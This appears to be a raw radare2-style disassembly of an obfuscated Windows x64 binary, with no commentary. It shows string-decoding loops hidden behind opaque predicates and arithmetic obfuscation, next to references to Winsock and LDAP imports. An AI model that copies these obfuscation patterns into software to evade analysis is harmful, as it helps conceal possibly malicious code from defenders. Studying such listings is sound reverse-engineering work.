mov byte [rbp + rbx + 0xb60], al
inc r8
add rax, r8
sub rbx, rax
movabs rcx, 0x2cc800418e9d164c
add rcx, rbx
movzx eax, r11b
and al, cl
add al, al
sub r11b, al
sub r11b, 0x14
add r11b, cl
mov byte [rbp + rbx + 0xb60], r11b
inc r9
mov rax, r15
sub rax, r9
add rbx, rax
movzx eax, byte [rbp + rbx + 0xb60]
add rax, r8
add rbx, rax
inc rbx
jmp 0x140079452
movabs rcx, 0xff76001408055509
add rcx, rbx
movzx eax, r11b
and al, cl
add al, al
sub r11b, al
lea r10d, [rcx + r11]
sub r10b, 0x3f
movzx eax, r10b
mov rcx, r15
sub rcx, rax
add rbx, rcx
inc rbx
jmp 0x140079452
movabs rcx, 0x9304aab8a0bde5ef
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
add r10b, 0x77
movabs rcx, 0xf68f5593daf95ebf
add rcx, rbx
movzx eax, r11b
and al, cl
add al, al
sub r11b, al
sub r11b, 0x39
add r11b, cl
mov byte [rbp + rbx + 0xb60], r11b
inc r8
dec rbx
inc rbx
jmp 0x140079452
movabs rcx, 0xa2aa00091aeb26a7
add rcx, rbx
movzx eax, r11b
and al, cl
add al, al
sub r11b, al
lea r10d, [rcx + r11]
add r10b, 0x6f
dec rbx
inc rbx
jmp 0x140079452
movabs rdx, 0x2693555d397676d5
add rdx, rbx
movzx eax, r11b
and al, dl
add al, al
movzx r10d, r11b
sub r10b, al
add r10b, 0x2d
add r10b, dl
movabs rdx, 0x72a6003fbc6e0e91
add rdx, rbx
movzx eax, r11b
and al, dl
add al, al
movzx ecx, r10b
sub cl, al
add cl, 9
add cl, r11b
add cl, dl
mov byte [rbp + rbx + 0xb60], cl
add r9, r8
movzx eax, r10b
mov rcx, r15
sub rcx, rax
add rbx, rcx
inc rbx
jmp 0x140079452
movabs rcx, 0xba220001d22f07bb
add rcx, rbx
movzx eax, cl
and al, dl
add al, al
sub dl, al
lea r10d, [rcx + rdx]
sub r10b, 0x1d
movzx eax, byte [rbp + rbx + 0xb60]
add rax, r8
add rbx, rax
inc rbx
jmp 0x140079452
movabs rcx, 0x3be355a610cfac0d
add rcx, rbx
movzx eax, r11b
and al, cl
add al, al
sub r11b, al
lea r10d, [rcx + r11]
sub r10b, 0x5b
jmp 0x140079450
movabs rcx, 0xbfccaafa2f5afc3b
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
add r10b, 0x63
jmp 0x140079440
lea rcx, [rbp + 0x1731bec]
jmp 0x14007a13e
lea rcx, [rbp + 0x6d73d5]
jmp 0x14007a13e
lea rcx, [rbp + 0xb60]
mov rdx, rdi
call fcn.140035b50
lea rdx, [0x140236d50]
lea rcx, [rbp + 0x4e0]
call fcn.140002660
mov rdx, rax
mov rcx, qword [0x14023cdc0]
call fcn.1400697f0
mov rcx, rax
call fcn.14006abf0
mov r14, rax
mov byte [rbp + 0xb88], reloc.WS2_32.dll_WSACleanup
mov byte [rbp + 0xb89], 0xa8
mov byte [rbp + 0xb8a], 0xa1
mov byte [rbp + 0xb8b], 0xa7
mov byte [rbp + 0xb8c], 0x55
mov byte [rbp + 0xb8d], 0xab
mov byte [rbp + 0xb8e], 0x55
mov byte [rbp + 0xb8f], 0x52
mov byte [rbp + 0xb90], 8
mov byte [rbp + 0xb91], WSASetLastError
mov byte [rbp + 0xb92], 0xb2
mov byte [rbp + 0xb93], Ordinal_79
mov byte [rbp + 0xb94], reloc.WLDAP32.dll_Ordinal_79
mov byte [rbp + 0xb95], 0xb6
mov byte [rbp + 0xb96], reloc.WLDAP32.dll_Ordinal_46
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0xb97], xmm0
mov dword [rbp + 0xba7], eax
movabs r12, 0x748ea7c16955cf48
movabs r13, 0x496772abb609168
movzx ebx, byte [rsp + 0x40]
nop word [rax + rax]
mov r8, qword [0x14023d108]
mov r9, qword [0x14023d100]
nop
xor esi, esi
movabs rcx, 0x1dee69831d659c28
cmp rsi, 0x23
jae 0x14007ad14
movzx edi, byte [rbp + rsi + 0xb88]
mov r10, rdi
cmp r8, rsi
ja 0x14007ad0b
lea rax, [r9 + 1]
cmp r8, rax
jae 0x14007a26b
add rcx, rsi
mov rax, rdi
and rax, rcx
imul rbx, rax, 0xfffffffffffffffe
add rbx, rdi
add rbx, rcx
sub bl, 0x18
jmp 0x14007a297
je 0x14007ac87
inc rax
cmp r8, rax
je 0x14007ac51
lea rax, [r9 + 3]
cmp r8, rax
je 0x14007ac1c
lea rax, [r9 + 4]
cmp r8, rax
je 0x14007abbb
cmp r9, rsi
ja 0x14007ad02
lea rax, [r9 + 0x5a]
cmp r8, rax
jae 0x14007a2c4
lea rdx, [rsi + r12]
movzx eax, dil
and al, dl
mov ecx, 4
sub cl, al
lea ebx, [rcx + rcx]
add bl, dil
add bl, dl
jmp 0x14007a2f8
lea rax, [r9 + 1]
cmp r8, rax
je 0x14007ab65
lea rax, [r9 + 3]
cmp r8, rax
je 0x14007ab38
lea rax, [r9 + 4]
cmp r8, rax
je 0x14007aa9f
lea rax, [r9 + 7]
cmp r8, rax
je 0x14007aa7d
nop dword [rax + rax]
lea rax, [r8 + r9]
cmp rax, rsi
jbe 0x14007a6d6
nop dword [rax]
lea rax, [r9 + 0x1000]
cmp r8, rax
je 0x14007a6b3
lea rax, [r9 + 3]
cmp r8, rax
je 0x14007a687
lea rax, [r9 + 0x20]
cmp r8, rax
je 0x14007a652
lea rax, [r9 + 0x400]
cmp r8, rax
je 0x14007a620
lea rax, [r9 + 2]
cmp r8, rax
je 0x14007a5e8
lea rax, [r9 + 0x10]
cmp r8, rax
je 0x14007a310
lea r8, [r9 + 0x42]
lea r9, [r8 + 2]
lea rax, [r9 + 6]
cmp r8, rax
jb 0x14007acdf
lea rax, [r9 + 0x42]
cmp r8, rax
jb 0x14007acbc
lea rax, [r9 + 0x7a]
cmp r8, rax
jb 0x14007a432
lea rax, [r9 + 5]
cmp r8, rax
jb 0x14007a414
lea rax, [r9 + 0x40]
cmp r8, rax
jb 0x14007a58a
lea rax, [r9 + 0x61]
cmp r8, rax
jb 0x14007a536
lea r8, [r9 + 0x2a]
lea r9, [r8 + 4]
lea rax, [r9 + 9]
cmp r8, rax
ja 0x14007a502
lea rax, [r9 + 0x80]
cmp r8, rax
ja 0x14007a4dd
lea rax, [r9 + 0x5a]
cmp r8, rax
ja 0x14007a4ab
lea rax, [r9 + 8]
cmp r8, rax
ja 0x14007a488
lea rax, [r9 + 0x64]
cmp r8, rax
ja 0x14007a463
lea rax, [r9 + 0x41]
cmp r8, rax
ja 0x14007a310
lea r8, [r9 + 2]
lea r9, [r8 + 6]
jmp 0x14007a310
lea rdx, [rsi + r13]
movzx eax, dil
and al, dl
mov ecx, reloc.WS2_32.dll_sendto
sub cl, al
lea ebx, [rcx + rcx]
add bl, dil
add bl, dl
jmp 0x14007a297
movabs rdx, 0xc8b9a42480955918
add rdx, rsi
movzx eax, dil
and al, dl
mov ecx, Ordinal_45
sub cl, al
lea ebx, [rcx + rcx]
add bl, dil
add bl, dl
movabs rcx, 0x1dee69831d659c28
jmp 0x14007a23e
movabs rdx, 0xa4753e0b4aae7a40
add rdx, rsi
movzx eax, dil
and al, dl
mov ecx, reloc.WLDAP32.dll_Ordinal_32
sub cl, al
lea ebx, [rcx + rcx]
add bl, dil
jmp 0x14007ab83
movabs rdx, 0xf0dec4f89a4cd150
add rdx, rsi
movzx eax, dil
and al, dl
add al, al
movzx ebx, dil
sub bl, al
sub bl, 0x30
jmp 0x14007abd9
movabs rcx, 0xb501f1f25f819900
add rcx, rsi
movzx eax, dil
and al, cl
add al, al
sub dil, al
lea ebx, [rcx + rdi]
add r8, r9
movzx eax, bl
mov rcx, r15
sub rcx, rax
add rsi, rcx
inc rsi
jmp 0x14007a222
movabs rdx, 0x16b78dfaf1ff010
add rdx, rsi
movzx eax, dil
and al, dl
add al, al
movzx ebx, dil
sub bl, al
sub bl, 0x70
add bl, dl
jmp 0x14007aaf2
movabs rcx, 0xc58ea5d97454b7c0
add rcx, rsi
movzx eax, dil
and al, cl
add al, al
sub dil, al
lea ebx, [rcx + rdi]
sub bl, 0x40
movzx eax, byte [rbp + rsi + 0xb88]
add rax, r9
add rsi, rax
inc rsi
jmp 0x14007a222
movabs rcx, 0xf409c343a68d72a8
add rcx, rsi
movzx eax, dil
and al, cl
mov ebx, 0x34
sub bl, al
add bl, bl
add bl, dil
add bl, cl
cmp r9, 4
jb 0x14007aa17
movabs rdx, 0xecfe0a3db67c37f0
add rdx, rsi
movzx eax, dil
and al, dl
add al, al
movzx ecx, dil
sub cl, al
add cl, dl
lea ebx, [rcx*2 - 0x20]
jmp 0x14007ab85
movabs rdx, 0xb82cf03d6bc23a58
add rdx, rsi
movzx eax, dil
and al, dl
add al, al
movzx ebx, dil
sub bl, al
sub bl, 0x68
add bl, dl
cmp r8, 2
jae 0x14007aa26
lea rax, [r9 + 6]
cmp r8, rax
jbe 0x14007a90e
movabs rdx, 0x965dcbff6a8c04d0
add rdx, rsi
movzx eax, dil
and al, dl
mov ecx, Ordinal_41
sub cl, al
lea ebx, [rcx + rcx]
add bl, dil
add bl, dl
jmp 0x14007a557
movabs rdx, 0xbb57ee887802dbb0
add rdx, rsi
movzx eax, dl
and al, dil
mov ecx, Ordinal_26
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, dil
movzx eax, byte [rbp + rsi + 0xb88]
add rax, r9
add rsi, rax
inc rsi
jmp 0x14007a222
movabs rcx, 0x7c17575c7a132c0
add rcx, rsi
movzx eax, dil
and al, cl
add al, al
sub dil, al
lea ebx, [rcx + rdi]
sub bl, 0x40
movzx eax, bl
mov rcx, r15
sub rcx, rax
add rsi, rcx
inc rsi
jmp 0x14007a222
movabs rcx, 0xcbe4a26f8cd5fa70
add rcx, rsi
movzx eax, dil
and al, cl
add al, al
sub dil, al
lea ebx, [rcx + rdi]
sub bl, 0x10
add r8, r9
movzx eax, bl
mov rcx, r15
sub rcx, rax
add rsi, rcx
inc rsi
jmp 0x14007a222
movabs rcx, 0x184e295cdc745180
add rcx, rsi
movzx eax, dil
and al, cl
add al, al
sub dil, al
lea ebx, [rcx + rdi]
add bl, 0x80
inc r9
dec rsi
inc rsi
jmp 0x14007a222
movabs rdx, 0xdc715656a1a91930
add rdx, rsi
movzx eax, dil
and al, dl
add al, al
movzx ebx, dil
sub bl, al
sub bl, 0x50
jmp 0x14007ab83
lea rax, [r9 + 0x7a]
cmp r8, rax
jae 0x14007a741
movabs rdx, 0x1dee69831d659c28
add rdx, rsi
movzx eax, dil
and al, dl
add al, al
movzx ebx, dil
sub bl, al
sub bl, 0x18
add bl, dl
lea rax, [r9 + r8]
cmp rax, 0x80
je 0x14007aa54
lea rax, [r9 + 4]
cmp r8, rax
jbe 0x14007a81e
movabs rdx, 0x21cf243e01363588
add rdx, rsi
movzx eax, dil
and al, dl
mov ecx, 0x24
sub cl, al
lea ebx, [rcx + rcx]
add bl, dil
jmp 0x14007a5a8
lea rax, [r9 + 1]
cmp r8, rax
jne 0x14007a782
movabs rdx, 0xe91d4f82d2ab9e90
add rdx, rsi
movzx eax, dil
and al, dl
mov ecx, 8
sub cl, al
lea ebx, [rcx + rcx]
add bl, dil
add bl, dl
movzx eax, byte [rbp + rsi + 0xb88]
add rax, r9
add rsi, rax
inc rsi
jmp 0x14007a222
inc rax
cmp r8, rax
jne 0x14007a7ad
movabs rdx, 0x60d6f58f48420f30
add rdx, rsi
movzx eax, dil
and al, dl
add al, al
movzx ebx, dil
sub bl, al
sub bl, 0x50
jmp 0x14007aabd
lea rax, [r9 + 3]
cmp r8, rax
jne 0x14007a7e8
movabs rcx, 0x9cb3c895830d4780
add rcx, rsi
movzx eax, dil
and al, cl
add al, al
sub dil, al
lea ebx, [rcx + rdi]
add bl, 0x80
movzx eax, bl
mov rcx, r15
sub rcx, rax
add rsi, rcx
inc rsi
jmp 0x14007a222
lea rax, [r9 + 2]
cmp r8, rax
jne 0x14007a6ff
movabs rcx, 0x504a41a8336ef070
add rcx, rsi
movzx eax, dil
and al, cl
add al, al
sub dil, al
lea ebx, [rcx + rdi]
sub bl, 0x10
dec rsi
inc rsi
jmp 0x14007a222
lea rax, [r9 + 1]
cmp r8, rax
jne 0x14007a84c
movabs rdx, 0x5dabf7443c016dd8
add rdx, rsi
movzx eax, dil
and al, dl
mov ecx, recv
sub cl, al
lea ebx, [rcx + rcx]
add bl, dil
jmp 0x14007ab83
lea rax, [r9 + 4]
cmp r8, rax
jne 0x14007a88e
movabs rdx, 0x4d1f435d272e4f18
add rdx, rsi
movzx eax, dil
and al, dl
mov ecx, Ordinal_45
sub cl, al
lea ebx, [rcx + rcx]
add bl, dil
add bl, dl
add r8, r9
movzx eax, bl
mov rcx, r15
sub rcx, rax
add rsi, rcx
inc rsi
jmp 0x14007a222
lea rax, [r9 + 3]
cmp r8, rax
jne 0x14007a8cd
movabs rdx, 0x88fc166361f98768
add rdx, rsi
movzx eax, dil
and al, dl
mov ecx, reloc.WS2_32.dll_sendto
sub cl, al
lea ebx, [rcx + rcx]
add bl, dil
add bl, dl
movzx eax, bl
mov rcx, r15
sub rcx, rax
add rsi, rcx
inc rsi
jmp 0x14007a222
lea rax, [r9 + 8]
cmp r8, rax
jne 0x14007a5aa
movabs rcx, 0x3c928f76125b3058
add rcx, rsi
movzx eax, dil
and al, cl
add al, al
sub dil, al
lea ebx, [rcx + rdi]
sub bl, 0x68
movzx eax, byte [rbp + rsi + 0xb88]
add rax, r9
add rsi, rax
inc rsi
jmp 0x14007a222
lea rax, [r9 + 1]
cmp r8, rax
jne 0x14007a94f
movabs rdx, 0xd23a9f05a5573d20
add rdx, rsi
movzx eax, dil
and al, dl
mov ecx, reloc.WS2_32.dll_recv
sub cl, al
lea ebx, [rcx + rcx]
add bl, dil
add bl, dl
movzx eax, byte [rbp + rsi + 0xb88]
add rax, r9
add rsi, rax
inc rsi
jmp 0x14007a222
lea rax, [r9 + 3]
cmp r8, rax
jne 0x14007a98a
movabs rcx, 0x85d1181855b8e610
add rcx, rsi
movzx eax, dil
and al, cl
add al, al
sub dil, al
lea ebx, [rcx + rdi]
sub bl, 0x70
movzx eax, bl
mov rcx, r15
sub rcx, rax
add rsi, rcx
inc rsi
jmp 0x14007a222
lea rax, [r9 + 5]
cmp r8, rax
jne 0x14007a9b8
movabs rdx, 0xfd8abe24cb4f56b0
add rdx, rsi
movzx eax, dil
and al, dl
mov ecx, Ordinal_26
sub cl, al
lea ebx, [rcx + rcx]
add bl, dil
jmp 0x14007abd9
lea rax, [r9 + 6]
cmp r8, rax
jne 0x14007a9e7
movabs rcx, 0x3967912b061a8f00
add rcx, rsi
movzx eax, dil
and al, cl
add al, al
sub dil, al
lea ebx, [rcx + rdi]
dec rsi
inc rsi
jmp 0x14007a222
lea rax, [r9 + 8]
cmp r8, rax
jne 0x14007a557
movabs rdx, 0xb12137377bb0ffa0
add rdx, rsi
movzx eax, dil
and al, dl
add al, al
movzx ebx, dil
sub bl, al
sub bl, 0x60
jmp 0x14007ab83
mov byte [rbp + rsi + 0xb88], bl
inc rsi
jmp 0x14007a222
movabs rdx, 0x28dadd43f1477040
add rdx, rsi
movzx eax, dl
and al, dil
mov ecx, reloc.WLDAP32.dll_Ordinal_32
sub cl, al
lea ebx, [rcx + rcx]
add bl, byte [rbp + rsi + 0xb88]
add bl, dl
add bl, dil
jmp 0x14007abdb
movabs rdx, 0x64b7b04a2c12a890
add rdx, rsi
movzx eax, dil
and al, dl
mov ecx, 8
sub cl, al
lea ebx, [rcx + rcx]
sub bl, byte [rbp + rsi + 0xb88]
add bl, dil
jmp 0x14007aabd
movabs rdx, 0x53753ff33faf91c8
add rdx, rsi
movzx eax, dil
and al, dl
add al, al
movzx ebx, dil
sub bl, al
sub bl, 0x78
add bl, dl
jmp 0x14007aaf2
movabs rdx, 0x17986ced04e45978
add rdx, rsi
movzx eax, dil
and al, dl
add al, al
movzx ebx, dil
sub bl, al
sub bl, 0x48
add bl, dl
movabs rdx, 0x82a619cd497844b8
add rdx, rsi
movzx eax, dil
and al, dl
add al, al
movzx ecx, dil
sub cl, al
sub cl, 8
add cl, dl
movzx eax, cl
mov byte [rbp + rsi + 0xb88], al
inc r9
add rax, r9
sub rsi, rax
movabs rcx, 0xa094835066dde0e0
add rcx, rsi
movzx eax, cl
and al, dil
add al, al
sub cl, al
sub cl, 0x20
add cl, dil
mov byte [rbp + rsi + 0xb88], cl
inc r8
mov rax, r15
sub rax, r8
add rsi, rax
movzx eax, byte [rbp + rsi + 0xb88]
add rax, r9
add rsi, rax
inc rsi
jmp 0x14007a222
movabs rdx, 0x282520d419b77838
add rdx, rsi
movzx eax, dil
and al, dl
mov ecx, reloc.WLDAP32.dll_Ordinal_60
sub cl, al
lea ebx, [rcx + rcx]
add bl, dil
add bl, dl
dec rsi
inc rsi
jmp 0x14007a222
movabs rdx, 0xb06b7ac7a4210798
add rdx, rsi
movzx eax, dil
and al, dl
add al, al
movzx ebx, dil
sub bl, al
sub bl, 0x28
add bl, dl
movabs rdx, 0xaec73c0d3e1d418
add rdx, rsi
movzx eax, dl
and al, dil
mov ecx, Ordinal_45
sub cl, al
add cl, cl
add cl, dl
add cl, dil
mov byte [rbp + rsi + 0xb88], cl
inc r9
dec rsi
inc rsi
jmp 0x14007a222
movabs rdx, 0x851b5ba87e28ee08
add rdx, rsi
movzx eax, dil
and al, dl
add al, al
movzx ebx, dil
sub bl, al
sub bl, 0x38
add bl, dl
movabs rdx, 0x46c946c70ead0c68
add rdx, rsi
movzx eax, dil
and al, dl
mov ecx, reloc.WS2_32.dll_sendto
sub cl, al
add cl, cl
add cl, bl
add cl, dil
add cl, dl
mov byte [rbp + rsi + 0xb88], cl
add r8, r9
movzx eax, bl
mov rcx, r15
sub rcx, rax
add rsi, rcx
inc rsi
jmp 0x14007a222
movabs rcx, 0x493e88a2435db5b8
add rcx, rsi
movzx eax, dil
and al, cl
add al, al
sub dil, al
lea ebx, [rcx + rdi]
sub bl, 8
add r8, r9
movzx eax, bl
mov rcx, r15
sub rcx, rax
add rsi, rcx
inc rsi
jmp 0x14007a222
movabs rdx, 0xd61b59c08927d68
add rdx, rsi
movzx eax, dl
and al, r10b
mov ecx, reloc.WS2_32.dll_sendto
sub cl, al
lea ebx, [rcx + rcx]
add bl, r10b
add bl, dl
movzx eax, bl
mov rcx, r15
sub rcx, rax
add rsi, rcx
inc rsi
jmp 0x14007a222
movabs rcx, 0x59cb3c895830d478
add rcx, rsi
movzx eax, r10b
and al, cl
add al, al
sub r10b, al
lea ebx, [rcx + r10]
sub bl, 0x48
movzx eax, byte [rbp + rsi + 0xb88]
add rax, r9
add rsi, rax
inc rsi
jmp 0x14007a222
movabs rcx, 0x8cdcd11e45ca20c8
add rcx, rsi
movzx eax, dil
and al, cl
add al, al
sub dil, al
lea ebx, [rcx + rdi]
sub bl, 0x78
jmp 0x14007a21e
movabs rcx, 0x50fffe180afee878
add rcx, rsi
movzx eax, dil
and al, cl
add al, al
sub dil, al
lea ebx, [rcx + rdi]
sub bl, 0x48
jmp 0x14007a207
lea rcx, [rbp + 0x144f668]
jmp 0x14007ad1b
lea rcx, [rbp + 0x12a9290]
jmp 0x14007ad1b
lea rcx, [rbp + 0xb88]
mov rdx, r14
call fcn.140035b50
lea rdx, [0x140236e30]
lea rcx, [rbp + 0x500]
call fcn.140002660
mov rdx, rax
mov rcx, qword [0x14023cdc0]
call fcn.1400697f0
mov rcx, rax
call fcn.14006abf0
mov rdi, rax
mov byte [rbp + 0xbb0], 0xee
mov byte [rbp + 0xbb1], Ordinal_211
mov byte [rbp + 0xbb2], 0xcb
mov byte [rbp + 0xbb3], Ordinal_200
mov byte [rbp + 0xbb4], 0x3e
mov byte [rbp + 0xbb5], 0xc9
mov byte [rbp + 0xbb6], 0x90
mov byte [rbp + 0xbb7], __WSAFDIsSet
mov byte [rbp + 0xbb8], 0xb6
mov byte [rbp + 0xbb9], 0xb6
mov byte [rbp + 0xbba], 0xb1
mov byte [rbp + 0xbbb], 0xbe
mov byte [rbp + 0xbbc], 0xca
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0xbbd], xmm0
mov dword [rbp + 0xbcd], eax
mov word [rbp + 0xbd1], ax
movabs rsi, 0x6c3231fac3ed32d
movabs r13, 0xf421ac56d770b4b9
movabs r14, 0x8e489326fa322073
movabs r12, 0xa6053a794b50b701
movzx r10d, byte [rsp + 0x40]
nop dword [rax]
nop word [rax + rax]
mov r8, qword [0x14023d108]
mov r9, qword [0x14023d100]
nop
xor ebx, ebx
cmp rbx, 0x23
jae 0x14007bb6b
movzx r11d, byte [rbp + rbx + 0xbb0]
mov rdx, r11
nop dword [rax + rax]
cmp r8, rbx
ja 0x14007bb62
lea rax, [r9 + 1]
cmp r8, rax
jae 0x14007ae5c
lea rcx, [rbx + r13]
mov rax, rcx
and rax, rdx
imul r10, rax, 0xfffffffffffffffe
add r10, rcx
add r10, rdx
sub r10b, 0xf
jmp 0x14007ae90
je 0x14007badd
lea rax, [r9 + 3]
cmp r8, rax
je 0x14007baa6
lea rax, [r9 + 2]
cmp r8, rax
je 0x14007ba7c
lea rax, [r9 + 7]
cmp r8, rax
je 0x14007ba28
nop dword [rax]
cmp r9, rbx
ja 0x14007bb59
lea rax, [r9 + 0x28]
cmp r8, rax
jae 0x14007aeba
lea rcx, [rbx + rsi]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x3b
jmp 0x14007af00
lea rax, [r9 + 1]
cmp r8, rax
je 0x14007ba03
inc rax
cmp r8, rax
je 0x14007b9b5
lea rax, [r9 + 5]
cmp r8, rax
je 0x14007b991
lea rax, [r9 + 6]
cmp r8, rax
je 0x14007b8fc
lea rax, [r9 + 3]
cmp r8, rax
je 0x14007b8db
nop word [rax + rax]
lea rax, [r9 + r8]
cmp rax, rbx
jbe 0x14007b57c
nop dword [rax]
lea rax, [r9 + 1]
cmp r8, rax
je 0x14007b558
lea rax, [r9 + 0x40]
cmp r8, rax
je 0x14007b526
lea rax, [r9 + 0x2a]
cmp r8, rax
je 0x14007b4f7
lea rax, [r9 + 0x28]
cmp r8, rax
je 0x14007b4ce
lea rax, [r9 + 0x5a]
cmp r8, rax
je 0x14007b4a5
lea rax, [r9 + 0x20]
cmp r8, rax
je 0x14007b471
lea rax, [r9 + 0x41]
cmp r8, rax
je 0x14007b44d
lea rax, [r9 + 0x10]
cmp r8, rax
je 0x14007b429
lea rax, [r9 + 0x7a]
cmp r8, rax
je 0x14007b3f4
lea rax, [r9 + 0xa]
cmp r8, rax
je 0x14007af10
lea r8, [r9 + 0x64]
lea r9, [r8 + 0x61]
lea rax, [r9 + 0x3e8]
cmp r8, rax
jb 0x14007bb35
lea rax, [r9 + 5]
cmp r8, rax
jb 0x14007bb11
lea rax, [r9 + 0x200]
cmp r8, rax
jb 0x14007b0f3
lea rax, [r9 + 4]
cmp r8, rax
jb 0x14007b0d8
lea rax, [r9 + 0x80]
cmp r8, rax
jb 0x14007b0bd
lea rax, [r9 + 3]
cmp r8, rax
jb 0x14007b396
lea rax, [r9 + 0x64]
cmp r8, rax
jb 0x14007b330
lea rax, [r9 + 2]
cmp r8, rax
jb 0x14007b2dd
lea rax, [r9 + 0x42]
cmp r8, rax
jb 0x14007b2ad
lea rax, [r9 + 1]
cmp r8, rax
jb 0x14007af10
lea r8, [r9 + 8]
lea r9, [r8 + 0x40]
lea rax, [r9 + 0x10]
cmp r8, rax
ja 0x14007b273
lea rax, [r9 + 0x7a]
cmp r8, rax
ja 0x14007b24b
lea rax, [r9 + 0xa]
cmp r8, rax
ja 0x14007b223
lea rax, [r9 + 0x61]
cmp r8, rax
ja 0x14007b1ee
lea rax, [r9 + 9]
cmp r8, rax
ja 0x14007b1c9
lea rax, [r9 + 0x1000]
cmp r8, rax
ja 0x14007b1a1
lea rax, [r9 + 8]
cmp r8, rax
ja 0x14007b172
lea rax, [r9 + 0x400]
cmp r8, rax
ja 0x14007b140
lea rax, [r9 + 6]
cmp r8, rax
ja 0x14007b117
lea rax, [r9 + 0x3e8]
cmp r8, rax
ja 0x14007af10
lea r8, [r9 + 0x5a]
lea r9, [r8 + 5]
jmp 0x14007af10
lea rcx, [rbx + r14]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x25
jmp 0x14007af00
lea rcx, [rbx + r12]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 7
jmp 0x14007ae90
movabs rcx, 0xbdc1e1cb9c6f4d8f
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
add r10b, 0x17
jmp 0x14007ae25
movabs rdx, 0x361918fd61f69968
add rdx, rbx
movzx eax, dl
and al, r11b
mov ecx, reloc.WS2_32.dll_sendto
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, r11b
jmp 0x14007ba47
movabs rdx, 0x4dd5c04fb3152ff6
add rdx, rbx
movzx eax, dl
and al, r11b
mov ecx, reloc.WLDAP32.dll_Ordinal_35
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, r11b
inc r9
dec rbx
inc rbx
jmp 0x14007ae12
movabs rdx, 0x659267a20433c684
add rdx, rbx
movzx eax, dl
and al, r11b
mov ecx, reloc.WLDAP32.dll_Ordinal_50
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, r11b
dec rbx
inc rbx
jmp 0x14007ae12
movabs rdx, 0x7d4f0ef455525d12
add rdx, rbx
movzx eax, r11b
and al, dl
add al, al
movzx r10d, r11b
sub r10b, al
sub r10b, 0x7e
add r10b, dl
jmp 0x14007b9d4
movabs rcx, 0x950bb646a670f3a0
add rcx, rbx
movzx eax, r11b
and al, cl
add al, al
sub r11b, al
lea r10d, [rcx + r11]
sub r10b, 0x60
jmp 0x14007bac5
movabs rcx, 0xacc85d98f78f8a2e
add rcx, rbx
movzx eax, r11b
and al, cl
add al, al
sub r11b, al
lea r10d, [rcx + r11]
sub r10b, 0x42
movzx eax, r10b
mov rcx, r15
sub rcx, rax
add rbx, rcx
inc rbx
jmp 0x14007ae12
movabs rdx, 0xc48504eb48ae20bc
add rdx, rbx
movzx eax, r11b
and al, dl
add al, al
movzx r10d, r11b
sub r10b, al
sub r10b, 0x24
add r10b, dl
jmp 0x14007b91b
movabs rdx, 0xdc41ac3d99ccb74a
add rdx, rbx
movzx eax, r11b
and al, dl
add al, al
movzx r10d, r11b
sub r10b, al
sub r10b, 6
add r10b, dl
jmp 0x14007b94b
movabs rdx, 0xf3fe538feaeb4dd8
add rdx, rbx
movzx eax, r11b
and al, dl
mov ecx, recv
sub cl, al
lea r10d, [rcx + rcx]
add r10b, r11b
add r10b, dl
movzx eax, byte [rbp + rbx + 0xbb0]
add rax, r9
add rbx, rax
inc rbx
jmp 0x14007ae12
movabs rcx, 0x2f55f5ddb5b7c63b
add rcx, rbx
movzx eax, r11b
and al, cl
add al, al
sub r11b, al
lea r10d, [rcx + r11]
add r10b, 0x63
mov byte [rbp + rbx + 0xbb0], r10b
inc rbx
jmp 0x14007ae12
movabs rdx, 0x47129d3006d65cc9
add rdx, rbx
movzx eax, r11b
and al, dl
add al, al
movzx r10d, r11b
sub r10b, al
sub r10b, 0x7f
add r10b, dl
cmp r9, 0x28
jb 0x14007b2cd
movabs rcx, 0x456aaa99d6e801b6
add rcx, rbx
movzx eax, cl
and al, r11b
mov edx, 3
sub dl, al
add dl, dl
add dl, cl
add dl, r11b
lea r10d, [rdx + rdx]
jmp 0x14007ba47
movabs rdx, 0x5ecf448257f4f357
add rdx, rbx
movzx eax, r11b
and al, dl
add al, al
movzx r10d, r11b
sub r10b, al
sub r10b, 0x61
add r10b, dl
cmp r8, 0x1000
jae 0x14007b883
lea rax, [r9 + 1]
cmp r8, rax
jbe 0x14007b7ac
movabs rdx, 0x32c933d10219e342
add rdx, rbx
movzx eax, dl
and al, r11b
mov ecx, Ordinal_26
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, r11b
jmp 0x14007b300
movabs rcx, 0x768bebd4a91389e5
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x43
lea rax, [r9 + r8]
cmp rax, 3
je 0x14007b8b3
lea rax, [r9 + 0xa]
cmp r8, rax
jbe 0x14007b6b9
movabs rcx, 0x2c0610b155db1015
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
add r10b, 0x6d
jmp 0x14007b353
movabs rcx, 0x2892d2be0978f30e
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x62
movzx eax, byte [rbp + rbx + 0xbb0]
add rax, r9
add rbx, rax
inc rbx
jmp 0x14007ae12
movabs rcx, 0x404f7a105a97899c
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x44
jmp 0x14007b94b
movabs rcx, 0x580c2162abb6202a
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x26
jmp 0x14007b91b
movabs rcx, 0x6fc8c8b4fcd4b6b8
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 8
movzx eax, r10b
mov rcx, r15
sub rcx, rax
add rbx, rcx
inc rbx
